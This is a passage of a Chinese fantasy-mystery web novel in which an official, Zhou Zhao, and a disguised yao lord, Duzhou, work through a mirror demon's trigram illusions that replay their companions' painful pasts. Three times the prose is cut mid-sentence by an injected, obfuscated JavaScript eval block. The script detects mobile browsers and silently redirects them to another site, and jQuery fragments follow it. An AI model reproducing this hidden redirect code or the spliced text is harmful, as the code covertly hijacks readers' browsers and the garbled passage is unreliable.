周昭很佩服自己,当下这种尴尬的局面还有心思想别的问题,她愣在原地,心底有个声音告诉她:别怕,渡舟认不出你现在的样子。周昭,你不是最会审犯人了吗?快质问他为什么会出现在这里。 快质问他! 但同时也有另一个遥远的声音,不合时宜地冒出来:“十六,你为何总是悄莫声地出现,万一伤着怎么好。” 匕首横在颈侧,渡舟却毫不在乎,一动不动任由周昭抓着,眸中一点儿淡淡的笑意若有若无。 呼吸声近在咫尺,周昭一颗心跳得厉害,强迫自己冷静下来,终于开口道:“你是何人?国师大人呢?” 时间仿佛凝滞了,良久,才听到渡舟低声道:“路过,进来看看。” “......大人,可以松开我了吗?” 周昭像被烫着似的松开手,干巴巴地质问道:“路过?” 渡舟撒起慌来丝毫不脸红,回答道:“嗯,我见吴记宝斋这里死人了,看看热闹。” 周昭不确定渡舟到底认出她没有,应该是没认出来。因为渡舟是个有仇必报的人,也是个不容背叛的人。前半句周昭上辈子就知道,后半句是她看见上官手上的莲花烙知道的。 有这两点,周昭实在想不到渡舟如果知道是她,还能如此心平气和讲话的理由。 可要说没认出来……那无相妖主的名头岂不是白当了。周昭暂且压下心中一团乱麻,不再管渡舟,暗示自己渡舟如果要查案,出现在这里也无可厚非。 她在阁楼里转了一圈,明明来时还是晚上,此刻却形同白昼。除了消失的镜子和陆轻苹等,周昭没看出什么特别的。 但就是这样才奇怪。 周昭走向窗户,听见渡舟慢条斯理道:“这里有门,大人要爬窗吗?” 周昭刚想阻止,渡舟便啪一声推开,不,是踹开门。 ……门是这么开的吗? 那扇木门本就不结实,被这么一脚踹得晃晃悠悠,几欲跌倒,然后终于支撑不住碎成两半。门外天光更甚,明明是间阁楼,楼下那一层却不见了,只剩这么一间孤零零的卧房。 渡舟咔吱吱踩过木板,回过头对周昭道:“大人,天气很好。” 周昭满怀诧异走出去,才发现靠近门口是一团黏黏糊糊的血迹,因着木板做桥,才没有弄脏她的鞋履。 她不由问道:“这血……” 渡舟将木板另一端踏住,说道:“吓唬人的把戏。” “你知道这是什么人干的?” 渡舟语气散漫道:“不知道,兴许是掉进什么妖啊,什么鬼什么怪的幻境了吧。” 不知道陆轻苹他们是否安好……周昭回头望望,来时那扇门却打不开了,看来陆大人和国师也掉进这镜妖幻境。 如果最后一个死人是乾位的杜云戚,镜妖的八卦阵应该已经完成了,而他们很不幸地成为这阵中第一批待宰羔羊。 周昭最大的优点就是心态好,经历的烂事儿太多,一身临危不乱的骨头。她平静说道:“不管什么妖,什么鬼什么怪,抓出来杀了不就好了。” 周昭继续向前走,渡舟所说的天气好,其实是漫天雨丝,打在身上不痛不痒,撑伞多余,不撑伞又心烦。 门外是一片泥泞的空地,并没有什么显眼建筑,在更远处似乎零零散散坐落着几家农户,袅袅炊烟沿着青山雨露往上飘,一派静谧安宁之色。 渡舟不知道从哪儿变出来一把伞,撑在周昭头顶,问道:“大人,现在我们去哪儿?” 周昭指了指山前的村落,说道:“去有人的地方。” “都听大人的。” 渡舟撑着伞,二人并肩行走,步调既不快也不慢,竟然出奇地和谐。 周昭本不喜欢跟旁人靠这么近,但更不想淋雨,眼神落在伞柄,见其颜色青白似骨,再往上看伞骨亦是如此,心道:“这伞八成是渡舟那只法器变的,可怜昆仲堂堂无相妖主之法器,怎么总是干些鸡零狗碎之事?还是说昆仲本就不是什么厉害的法器,只是渡舟做出来玩儿的……” 其他妖怪的法器,一定不会是专门做来玩的,但渡舟的就不好说了。 “大人,听说九洲城最近很多人失踪了……”渡舟开口打破沉默,继而微笑道,“你说,他们是像这样失踪的吗?” 周昭知他试探,沉吟不语。 渡舟又道:“大人,我们会死吗?” 周昭明知自己应该继续装下去,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812108|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住出言讥讽道:“你怕死吗?” 一个活了几千年的妖怪,难道会怕死吗? 渡舟像是很认真地在思考,继而道:“从前不怕,现在怕了。” 周昭只当对方信口胡说,二人走过田野,脚下泥土松软,眼前麦田碧绿随风而动。 但如果稍微留心,就会注意到这片地方太干净了。 干净得没有一丝气味。 既没有雨落在泥土中散发出的土腥味儿,也没有清冽的芳草气息。 周昭猜想是镜妖做出来的幻境有限,做不出类似气味这种极难把控的东西,不过除此之外,一草一木皆十分逼真,让人分辨不出是幻境还是现实。 走到村口,雨停了。 周昭远远地看见屋舍前站着三个人,挨得近些的一对男女背影是一红一白,另一名男子则是常见的侍卫灰袍。 周昭从伞下快步走出去,唤道:“是陆大人吗?” 三人回过头,果然是陆轻苹他们。 沈云起本就生得明媚,穿着红服官袍更显眸光清亮,顾盼间自有三分英气。陆轻苹往她身边一站,虽然相衬之下,那身县令官服实在寒酸了些,但他面容清俊,一身书卷斯文气,竟也相得映彰。 陆轻苹先是看周昭,见她平安无事,随即紧绷的表情放松些,再看到后面跟着的渡舟,认出是当日在乱葬岗那位抱着白猫的少年,不免起了疑心,问道:“那人怎么回事儿?” 周昭原原本本回答道:“路过。” 此刻渡舟也跟上来,陆轻苹正要继续发问,沈云起却道:“陆大人,快看有人出来了。” 她这么一说,陆轻苹便顾不上再管渡舟了。周昭心如明镜,知道沈云起刻意遮掩,也不再言语。 只见眼前茅屋破败,被雨打湿更显颓势。 要周昭来说,若是渡舟方才踢门那一脚用在这茅屋上,估计也好不到哪儿去。 一个大腹便便满脸横肉的男子从茅屋里走出来,一股浓烈刺鼻的酒味扑面而来。 男子像是宿醉刚醒,走路东倒西歪,一边走一边将屋檐下一只瓦罐一脚踢飞,险些被自己绊倒,瓦罐圆圆滚滚,一路滚到陆轻苹脚边。 陆轻苹面色阴沉,喃喃道:“……是他?” 沈云起好奇问道:“谁啊?陆大人认识?” 陆轻苹却没有回答国师的问题,男子继续骂骂咧咧,嘴里囫囵不清道:“他妈的败家娘儿们!老子花钱买你来,是让你给老子生儿子的!三年了,被、被老子......嗝!被老子操那么多回,就算是只公鸡,也他妈该下蛋了!” 男子言语粗鄙不堪,沈云起满面怒容,陆轻苹则脸色铁青,抬脚动了动,渡舟慢悠悠提醒道:“这是幻境,他们看不见你。” 男子还想再摔打点什么东西,奈何这茅屋除了那只孤零零的瓦罐再无其他,一时怒气更胜,骂了句脏话,冲进屋蛮横地将正在做饭的女人拖出来掼在地上,道:“老子的钱都他妈用在你这贱人身上了!” 女人面容清秀,跪在男人脚边瑟瑟发抖,男人发完疯消了气,叉开腿往屋檐底下一坐,高声道:“小杂种呢?叫出来给他爹我捶捶腿!” 女人畏畏缩缩道:“......萍萍上山砍柴去了......” 59. 过往 “放屁!” 男人腾得站起来,指着女人鼻子骂道:“别以为老子不知道!他八成是又跑去学堂听墙根了!你拿着老子的钱,还想供小杂种读书?等他回来看老子不打断他的腿!贱种就是贱种,鸡窝里还能出凤凰?他以为自己是谁?还不是靠老子养活!” 朝安忍不住道:“这八成是个买休卖休。” 所谓买休卖休,是说丈夫将妻儿子女卖给他人。 沈云起皱眉道:“买休卖休在大宣早就严令禁止,买卖者同罪,怎么还......” 周昭心想这位沈云起大人还是年轻了些,四方之地只要有人的地方就会有犯罪,皆因人性本恶。周昭在十几岁的时候也跟沈云起一样,满腔抱负,现在想来真是......不知深浅。 画面一转,还是眼前的破茅屋。 北风呼啸,大门紧闭,唯有一扇窗户可以窥见屋内情形。 只见刚才的女人似乎老了些,她盘腿坐在土炕上,怀里抱着个半大点儿的孩子。土炕旁边支着张矮矮的木桌,一个十一二岁的少年正伏在灯下读书,少年模样斯文白净,嘴唇轻抿,眉宇间刻着不符合他这个年纪的深沉。 怀里的孩子哭闹不止,看起来应该五六岁了,却像还不会说话。女人一边温柔地哄着那孩子,一边道:“萍萍,你的字写得真好看,跟你爹就像......” “别提他。”少年头也不抬,冷声道,“若不是他为了几个臭钱卖了我们......反正,他不是我爹。” 女人叹息道:“你爹也是没办法,他读书、赶考,哪一样儿不花钱的,你爹走时说了,等高中就来接我们......”说完,女人的眼睛里流露出一种期翼和惆怅,因为无论是少年还是她,都知道那个人不会再来接他们了。 沉默片刻,女人将终于睡着的婴孩放下,揉了揉酸痛的胳膊,抚着少年的头顶道:“萍萍,多亏你卖字贴补家用,不然......” 她眼里的光黯淡下去,少年语气放软些,抬眸道:“娘,这都是我该做的。” 女人笑了笑,又问:“对了,我听阿然说你不光卖字,还写文章卖给学堂里的少爷们,是真的吗?” “......”少年垂下眸子,女人心中了然,面露痛苦之色,继续道:“唉,都怪娘没本事......” “娘你在说什么啊......快去睡吧,别耽误我看书了。”少年将女人推开,周昭却看得清楚,少年眼中一滴泪在女人转身之时,终于忍不住落下来。 油灯熄灭,陆轻苹不愿再看,转身离开,沈云起叫道:“陆大人!” 周昭拉住沈云起,摇摇头。 她现在终于知道为什么幻境如此逼真,因为这本来就是真实发生的——画中少年正是陆轻苹。起初女人口中的“萍萍”还不能让周昭确定,但那伏案读书的少年,分明跟陆轻苹的眉眼如出一辙。 至于为什么他们来时经过麦田闻不到一丝气味,后来又闻到酒气冲天,这是因为在陆轻苹的记忆里,没有麦香,没有花香,只有继父身上日复一日的酒臭。 陆轻苹一言不发走在最前面,起初走得很快,没多久慢下来,后来又不走了。他停下脚步,回过头,下巴微微抬起,道:“你们是不是觉得我很可怜?” 众人不知道该说什么,陆轻苹又自嘲地笑了笑:“是啊,我也觉得自己很可怜。可那又怎么样,我还不是从这里走出来了?鸡窝不能出凤凰,但能出探花。昭明二年,我是天子钦点的探花。” 朝安忍不住道:“昭明二年?那年不是......” “那年发生了轰动朝野的‘十二榜案’,中榜之人被查出有整整十二人徇私舞弊。又经彻查,范围从九洲城一直扩散到地方乡县。其中最著名的就是探花一案,那年探花名叫温子恒。” “先是有人举报温子恒文章作假,非本人所作。其父温砚清是当时考官主簿之一,本已下狱,后来又翻案,说是同考的举子嫉妒温子恒高中探花,所以诬陷,实则是他抄袭温子恒文章。风口突转,温氏父子全身而退,那名举子被投入诏狱,证据接连翻出,但那举子历经三个月刑罚却不曾改口,后来这件事便不了了之......” 沈云起停顿片刻,问道:“陆大人,你说你是昭明二年的探花,难道......” 陆轻苹道:“不错,我就是举报温子恒的人。” 朝安面露诧异之色,问道:“陆大人,说不通啊。若你真是那名举子,听说他受不住大刑死在狱里,你又是如何当上巡抚的?” 一直不曾说话的渡舟淡淡道:“这么简单的道理,因为有人要他死,有人又要保他。” 周昭点头附和道:“所以探花案虽大,关键人物的姓名却被隐去不提。陆大人,是陛下将你从狱中提出来的?” 陆轻苹不语,算是默认。 周昭竟不知陆轻苹身上还有这番离奇曲折的故事,一时心情激荡。 陆轻苹将这些陈年往事道出,无疑是在往自己旧伤撒盐,但他说完反而自在轻松,翻过不谈,道:“镜妖大费周章布下什么八卦阵,应该不是就为了给我们看这些吧,当务之急,各位还是想想办法,看怎么出去才是。” “八卦阵......”渡舟重复一遍,周昭问道:“八卦阵怎么了?” 渡舟又详细问过他们发现尸体的经过,周昭心中觉得好笑:“我会演戏,渡舟比我演得还真。这些细节他分明一清二楚,却又拿出来问。” 渡舟听完,若有所思道:“是阴阳八卦阵。” 陆轻苹道:“何解?” “以死人布阵,男女各半。八卦阵中,男为阳,女为阴。听八风之气乃画八卦,乾为天,坤为地。镜妖以九州为画布,每踏入一卦便以其中一人做出幻境。八卦阵有生死吉凶,我们脚下的是西南方向的惊门,乃凶门之一。” 渡舟慢条斯理道:“阴阳八卦阵虽凶险,但也有一个不足,凶门只对幻境主人有效,也就是陆大人你。” 朝安听得目瞪口呆,情不自禁道:“你小小年纪,怎么懂得这么多?” 渡舟随口答道:“因为我游手好闲,不学无术。” 沈云起接话道:“陆大人会怎么样?” 渡舟手里的伞不知何时又变成骨箫,一边把玩一边道:“这个要看陆大人心里有多大的恨意,恨意越重,欲望越重,凶门越凶,被困死在这里也说不定......你们看,又来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818892|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们刚才明明是朝相反的方向走,但那栋茅屋却像长了脚似的又跑到他们面前。 画中还是陆轻苹和他的母亲,陆轻苹是十七八岁的少年面孔,个头很高,一身洗得发白的青布长衫,看来跟现在并无多大区别。 女人突然跪在陆轻苹面前,声泪俱下道:“萍萍,你就应了他们吧。” “......”陆轻苹脊背挺直,口齿间蹦出一个字:“娘……” 女人哭泣道:“你也知道你弟弟他笨,这辈子难有什么出息。可你不一样,你聪明又有学问,就算不参加这次科举,日后也能出人头地。那姓温的既然能给那么多钱,你就、就......” 女人声音激动,她鬓间布满白发,眉眼俱是皱纹,早已不是当年少女模样,反而有几分可怖。 陆轻苹搀扶她起身,女人继续控诉道:“娘养你这么大,如今就求你这一件事儿,你都不肯答应吗!” “......就为了钱?”沈云起难以置信道。 陆轻苹不卑不亢应道:“国师大人一身富贵,哪懂人间疾苦。”他这话一反常态说得尖刺,沈云起面露尴尬之色,又道:“后来呢?你应了你母亲没有?” “如果应了,就不会有后面的探花案了吧。”画面之中,女人趁陆轻苹睡熟,偷偷将那张矮桌上一摞纸收走,周昭继续道:“所以,温家才会反咬一口,指认陆大人抄袭温子恒。” 陆轻苹自始至终都没有说话,周昭不难想象被至亲之人背叛滋味如何,突然生出几分柔软的愧疚。 陆轻苹前半生太艰难,后半生不应该被自己卷入浪潮暗涌。 陆轻苹突然仰天大笑,目光坚韧,就像他当年清白一身,诏狱酷刑历时三月不曾改口,他笑道:“镜妖,你还有什么本事?难道我会怕这些吗?我陆轻苹,生来就是轻絮浮萍,难道会怕这泥淖吗!” 似乎是在回应他,画面开始扭曲,就像一面镜子突然在他们眼前四分五裂。 陆轻苹的脸,他母亲的脸,低矮的茅草屋,随着这面镜子而粉碎,取而代之的是一处干净宽敞的宅院。 天气晴朗,风也柔和。 小池边坐着个身穿玉色锦袍的女人,她放下手里的针线,抬头望过来,正是陆轻苹的母亲。 但她眉眼柔和,皮肤白皙保养得当,俨然是位没有经历过生活风霜的贵妇人。 她莞尔笑道:“萍萍,站在那儿做什么?日头大,快来为娘这里。” 陆轻苹的笑顿时僵在脸上,那妇人站起身,款款而来,柔声说道:“萍萍,怎么不跟娘说话?” 沈云起惊讶问道:“不是说看不见我们吗?怎么会......” 渡舟淡淡道:“同一个时空不会出现两个陆轻苹,而眼前是陆大人的想象,自然只有他一个陆轻苹。” 回廊上走来一个身高腿长,留着一撮胡须的中年男子。他背上背着一把剑,目光坚毅,走来虎虎生风,细看和陆轻苹有七八分像。 男子把剑交给下人收着,看见陆轻苹,假意呵斥道:“臭小子,又惹你娘生气。过来,让为父看看你字练得如何。” 待看清男子面容,沈云起难以置信道:“这不是温砚清吗?!” 60. 镜中镜 朝安亦惊讶道:“是温大人,他不是早就因为贪污之罪被处死了,总不会……陆大人的生父就是温砚清吧?!” 朝安看向陆轻苹,对方却毫无反应。 此刻妇人已莲步款款行至面前,浑然不觉他们的存在,只牵了陆轻苹的手,引着他往亭子里去,抬眸嗔道:“陆郎,萍萍的字已经练得很好了,你别凶他。” “陆大人?陆大人!”沈云起迭声叫道。 陆轻苹宛如一具行尸走肉,任由那妇人牵着继续走。周昭暗道一声不好伸手去抓,谁料扑了个空,手从陆轻苹的胳膊里一穿而过,什么也没抓住。 朝安叫道:“这是怎么回事儿?” 三人一齐望向渡舟,对方解释道:“刚才说了,凶门只针对陆大人。镜妖幻境之所以厉害,在于如果要走出幻境,全凭自己心志坚定。幻境虽然如水中月镜中花,但胜在实在美妙,现实生活中不能得到的、没有拥有的,镜妖都能给你。饮鸠止渴,也能止渴。这里的一草一木都是陆轻苹心中所想,如果他甘愿沉沦其中,谁也救不了他。” 周昭眉头紧锁,问道:“最后会怎样?” 渡舟道:“现实中会死,幻境中会永生。” 难怪那些人的尸体都是嘴角含笑一脸平静,因为现实生活中不能达成之愿望,在幻境中得到满足。欲望越大,幻境越难脱身。 “难道我们眼睁睁看着陆大人送死吗?”朝安虽然跟陆轻苹不熟,但也听说过此人为官清廉,宁折不弯,不忍见他送命。 渡舟手中昆仲转得时快时慢,语气平静道:“要救他,并不难。” 众人异口同声道:“要怎么救?” “镜妖之幻境,在于一面镜子。”渡舟转向沈云起,“刚才他是为了阻止你触碰那面镜子吧?” 沈云起满面赤红,渡舟继续道:“我的意思是,只要找到那面镜子,然后打碎它,这幻境自然也就破了。” 沈云起松了口气,急切道:“可是我们刚从阁楼出来时,并没有看见那面镜子。” 渡舟停下转骨箫,说道:“所谓镜,乃影之容器。在镜妖的幻境里,并不是说只有我们寻常用的铜镜才叫镜子。” 周昭恍然大悟道:“我明白了,你是说镜妖会将原本那面镜子伪装,凡是能倒影之物,都有可能是镜妖的镜子所幻化。” 渡舟朝向周昭,微笑道:“大人很聪明。” 沈云起焦急地原地打转,又自言自语道:“那些失踪的人过了快十天才有尸体出现,还好还好,我们时间还够。” 渡舟挑眉道:“诸位,我看那陆大人身体不大好,又身处阴阳八卦阵的凶门,至多,一个时辰。” “啊?”沈云起自觉对不起陆轻苹,因着渡舟一句话脸色煞白,匆匆道,“那还等什么,我们分头去找。” 周昭本来想说在幻境之中还是不要分开好,但沈云起说完就走,根本不给她说话的余地,朝安自然尾随国师而去,这片空地眨眼间就剩她跟渡舟两个。 渡舟似乎对什么都不放在心上,好整以暇地看着她,没说要不要走,也没说往哪走。 周昭略叹了口气,指着跟沈云起他们相反的方向,道:“我们去那边找找看。” “都听大人的。” 渡舟安安静静跟在周昭身边,周昭几次都想开口问渡舟是不是知道要找的镜子在哪。但渡舟如果刚才没说,就说明他要么真的不知道,要么不想说,显然后者的情况更大一点,也没有再问的必要。 走出不远,渡舟问道:“大人,你似乎……很关心那位陆大人。” 算不上关心,只是觉得陆轻苹不该死。 周昭不想回答这么无聊的问题,随口答道:“陆大人是好人。” 渡舟哦了一声,又问:“大人喜欢好人?” 这是什么莫名其妙的问题? 周昭心头烦躁,又答:“反正讨厌恶人就是了。” 所以我讨厌自己。 周昭加快步伐,离一个时辰已经过去一小半,但无论是草丛还是废弃的旧屋他们都找过,压根没有类似镜子的东西。 周昭深呼一口气,问道:“镜妖不是傻子,看见我们在找镜子,难道不知道换个地方吗?” 渡舟微笑道:“镜妖也想啊,但它法力不够,八卦阵定形之时,每卦的阵眼就已经固定下来了。所以镜子必定是藏在哪个地方,只是我们还没有找到。” “好吧。”周昭目光搜索不停,漫不经心道,“你年纪不大,这些是谁教你的?” 渡舟对答如流:“好奇,自己学来的。” “我也想学,敢问多少年才能学成你这般厉害?”周昭停下脚步,目光平视。 渡舟笑意未散,回答:“大人冰雪聪明,如果想学一定比我用的时间短。” 渡舟在回避她的问题,周昭微微一笑:“......但愿如此。” 她转身继续往前走,不知为何越走越冷,没过多久竟然飘起米粒大小的雪花。 周昭伸手接住一片雪花,很快掌心传来一阵微凉,渡舟适时问道:“需要伞吗?” 周昭摇摇头,她不喜欢下雪。 二人沉默着走了没多久,眼前忽然出现一片冰湖。雪下得更大了,寒意顺着小腿肚一直爬到膝盖,旧伤又开始隐隐作痛。 渡舟默不作声地撑开伞置于她头顶,周昭盯着那片湖,弯下腰歪了歪头,镜中少年也随之歪了歪脑袋。 周昭心头豁然开朗,腾得站起,不料后脑撞到了渡舟随之低下的伞,手忙脚乱中又似乎是踩到了渡舟的脚,渡舟后退两步,双手稳稳地扶住她,伞却纹丝不动地仍然握在他手中,没让一片雪花落在周昭身上。 渡舟低声道:“......大人,当心些。” 二人几乎紧贴,渡舟说话时,胸腔好像贴着她的心脏嗡鸣,周昭往旁边站远些:“你看这片冰湖,像不像一面镜子。” “像。” “我们试试打碎它?” “好。” 周昭抽出匕首,又觉得这东西实在太小了些,杀人可以,用来凿冰湖并不是一个很好的选择。 罢了,总好过没有选择。 周昭走近湖面,正欲将匕首插进去,渡舟却道:“大人,用这个。” 雪恰到好处地停了,渡舟掌心躺着那根骨箫,颜色却比寻常更青。 周昭摇头道:“你这根骨箫太贵重,我怕弄坏了,赔不起。” 渡舟哈哈笑道:“不会让你赔。” 说完,将骨箫在手中转了个圈,随手丢出去。骨箫停在冰湖上方,但还没开始凿,湖面突然咔嚓一声裂开。 昆仲不情不愿飞回渡舟手中,周昭问道:“这是怎么回事儿?” 渡舟淡淡道:“可能是怕我这骨箫下手没个轻重,谁知道呢。” 话音落定,天地色变。 一阵令人目眩的光影过后,眼前景物截然不同,周昭定睛一看,他们竟从刚才的乡野之间来到一处城中闹市。 渡舟道:“那位陆大人得救了。” 周昭放下心来,问道:“我们出来了?” 渡舟神情却不比刚才轻松自在,回答道:“不,我们还在八卦阵中。” 眼前闹市熙熙攘攘,叫卖声不绝于耳。 周昭二人穿过人群,谁知没走多久又碰上陆轻苹。他神情茫然浑不知刚才发生了什么事情,只说和他们走散了。周昭将事情经过删繁就简与他说明,一旁渡舟低声道:“镜中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822739|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜。” “什么意思?” 渡舟道:“我们之中,有人掉进了第二重幻境。” 陆轻苹神情微变,他们来时是五人,剩下的只有国师跟朝安。他们沿着闹市走了快一炷香,终于发现沈云起。 沈云起正在集市上挑挑拣拣,对他们的到来视若无睹,旁边跟着无所适从的朝安。 朝安身上挂满了琳琅满目的包裹,乍然见到他们,喜悦之情溢于言表,解释说刚才他跟沈云起找了一路没发现什么镜子,突然之间也不知怎地就到这儿了。 朝安离远些,压低声音愁眉苦脸道:“国师大人从幻境回来就像变了个人,也不跟我说话,非要在这条街上来回逛......都走三条街了,你们看,买了这么多东西,我都快拿不上了。” “......难道国师大人的欲望就是买东西?”周昭蹙眉道,“这处幻境的阵眼又在哪儿?” 朝安反应过来,脸色不大好看,试探问道:“什么意思?” 陆轻苹扶额叹息道:“我们还在阵中,这回是国师大人。这位公子,可能看出这是什么方位?” “东南方,景门。” 陆轻苹眉头舒展开,说道:“景门乃吉门,国师大人运气很好。” 话虽如此,渡舟却一反常态面容严肃。 陆轻苹走近沈云起,对方果然拖不走也叫不应,嘴里喃喃自语道:“哈哈,我要花光你的钱!” 周昭也听见了,疑惑道:“花光谁的钱?” 沈云起自然听不见周昭讲话的,他们驻足又听了阵儿,沈云起又道:“富贵啊富贵儿,让你平时那么抠,看我今天不花光你的钱!” 众人心中一阵无语,尤以陆轻苹的表情最为丰富多彩,大概是不敢相信堂堂国师还有这一面。 唯有朝安不明就里,追问道:“富贵儿?富贵是谁?我怎么从来没听说过。” 上官富贵是牵机营的人,朝安没听过实属正常。没人回答朝安这个问题,陆轻苹叹息片刻,道:“朝安兄弟,麻烦你在这里保护好国师大人,我们再去找阵眼。” 三人离开长街,不同于陆轻苹的幻境不是在下雨就是飘雪,沈云起的幻境明显更为柔和温暖。 但问题也随之而来。 刚才荒野之间是没有镜子,现在是闹市之中镜子太多。他们前前后后打碎了梳妆镜穿衣镜,甚至是玉石铜像,但都没有效果。 周昭忽然想起刚才在凶门的阵眼之中,她面朝冰湖朝左歪头,但是冰湖里的人影确实朝右歪头的。 难道阵眼中的镜子虽然能倒影,影子却是反的? 周昭将这一发现说了,陆轻苹大喜道:“这样就不用再像无头苍蝇一样找了,这里镜子虽然多,反影的却只有一个。” 渡舟不置可否,似乎从他们进来这里,渡舟就陷入沉思不怎么说话了。 陆轻苹东翻西找,没过多久还真的让他找到一面反影的“镜子”。 周昭面对那口盛水的大缸,招招右手,镜中人果然举起左手挥了挥。 “找到了!就是这个!”陆轻苹喜出望外,正欲将其推倒,昆仲突然从渡舟手中飞出,将那口大缸砸了个稀巴烂。 水流喷薄而出,渡舟收回昆仲,周昭不解问道:“你怎么了?” 渡舟神情凝重地摇摇头,没说话。 眼前之景瞬息万变,天色骤然黯淡。 少顷,沈云起跟朝安自远处而来,朝安兴奋道:“终于出来了,我记得我们进来时是傍晚,现在估计是子时了吧?” “......”渡舟语气阴沉道,“不。” 不光是渡舟,周昭也发现了他们还在阵中。因为这里不是宣朝,而是—— 大周。 61. 求死 暮色低垂,星野辽阔。 苍茫大地之上,零星燃着几团火焰。 将士们席地而坐,三五成群,火光照映在一张张鲜活生动的面庞上,他们或大笑或饮酒,或高歌或闲谈,无不沉浸其中。 浑然不知,在不远处有几只眼睛,正默默地注视着他们的一举一动。 此处是大周北疆境内,天寒地冻,寸草不生。 但火堆只要一燃起来,脱下沉重的盔甲,吃上一口羊腿,喝上一口烈酒,便不觉得冷了。 在这些皮糙肉厚的汉子中间,坐着个年轻少年。 他半背着周昭等人,身边放了只狰狞可怖的饕餮纹面具,火光将那面具映照得通红,勉强露出少年半张俊秀的侧脸来。 偏生这么一副斯文面孔,在这营中却无人敢小觑。 只因一年前孟舒来犯,就是他赶到雪松山报信,后来又献计攻下辽城,士兵们亲眼所见这少年单枪匹马就敢闯城,实乃后生可畏。 有人起哄道:“阿鸢,听说你是从盛都来的,快说说那儿长什么样子?有俺们辽城大吗?” 旁边的士兵推他一把,笑道:“我说赵六子,说你土包子一个你还急,那辽城能跟盛都比吗?” 人群哄然大笑,赵六子长了张娃娃脸,急眼的时候更像个半大孩子,反驳道:“那咋啦!俺是乡下人,辽城是俺见过最大的城了!比俺们村......” “别管你那村啦!阿鸢,快跟兄弟们讲讲!” “对,对!” 一双双眼睛望过来,亮晶晶的,盛满好奇。被叫做阿鸢的少年不好意思地低头笑笑,抿了口酒:“谁说我是盛都来的?” 赵六子不依不饶,眼尖道:“阿鸢,这就是你不对了!跟兄弟们喝酒,怎么还跟个娘儿们似的!” 一只手在赵六子后脑不轻不重地拍了一巴掌,来人自然而然在周昭身边坐下,轻声笑骂道:“活该你讨不到老婆!” 赵六子不用看也知道是谁:“宁大夫,什么风把您吹来了?” “还能是什么风?杨兄弟身上的香风呗!” “哈哈哈哈!你说得对!他俩好得跟穿一条裤子一样,哎!”士兵压低声音,其余人凑近听他道:“我说祝兄弟跟宁大夫……晚上不会睡一个被窝吧!” “哎呦我操!”士兵话音刚落,突然一个狗吃屎往前摔去,少年眼疾手快抓住他后背将人拽回来,回头微笑道:“霍将军来了。” “霍将军!” “霍、霍将军。” 人群自动散开让出空位来,霍璋冲那少年点点头,叉开双腿往那儿一坐,便没人敢再说话了。 他仰脖灌了几大口烧刀子,随意抹了把脸,露出一张比北疆雪山还要冷峻几分的脸来,目光好似最烈性难驯的鹰般巡视一圈儿,然后定格在一人身上,开口道:“燕飞,你小子嘴里是塞猪毛了?” “哈哈哈哈!” 刚才的紧张气氛一扫而空,士兵们又笑着闹着,有人吹起排箫,天幕之下歌声阵阵,火光熊熊。 …… 画面之外,朝安越看越不明白,忍不住道:“这些不像是宣朝士兵,这箫声却有几分熟悉。” 陆轻苹道:“有点像乐府名曲,破阵子。” 沈云起的目光则落在霍璋随身佩戴的那把剑上,奈何夜色深重看不清楚,沉吟道:“辽城,霍将军……” 周昭一颗心呼之欲出,她根本听不见沈云起他们在说什么,眼中只有那一个个熟悉鲜活的面孔。 不是马蹄之下死不瞑目的眼神,不是汴江里泡得浮肿的尸体,而是活着的,千真万确在她眼前活着的,说笑喝酒的人。 霍璋、宁啻、赵六子、燕飞…… 这一个个刻在脑子里永远不会忘记的名字,一张张每到深夜都会出现在睡梦里的脸…… 周昭喉咙发堵,一个字也说不出来。 好像当年少年阿鸢喝下去的那口烧刀子,此刻顺着她的咽喉一路滚落到胃里,让她整个身体都控制不住地发抖。 管他什么牵机营!管他什么镜妖! 如果…… 周昭是说如果,能让眼前这些人都能活过来…… 但周昭知道这是幻境,这些跟她同生共死的人再也不会活过来了。他们都死在那年冬天,死在那场飘了数月不肯停的大雪里,死在那条被血染红的江水里。 汴江真冷啊……冷得周昭阵阵发抖。 她咬紧牙关,沉默着低下头,鲜红的血水开始浸过她的鞋面,继而是小腿,再是胸口,冷得她骨头缝里都在抗议,都在叫嚣,冷得她心脏仿佛被缓慢地冻住,呼出的气仿佛是飘落的雪花。 “陛下!陛下快跑吧!” …… “大人?大人!” “阿鸢!哈哈哈哈,快来啊阿鸢!” “阿鸢?” “阿鸢。” “阿鸢兄弟!” 燕飞在马背上冲她微笑:“那日是我混说,对不起啦阿鸢。” 赵六子悄无声息走过来,冲周昭做了个鬼脸,口型道:“嘘……” 他一甩马鞭打在燕飞那匹马屁股上,马儿受惊像弦上之箭射出去,赵六子笑得前仰后合。 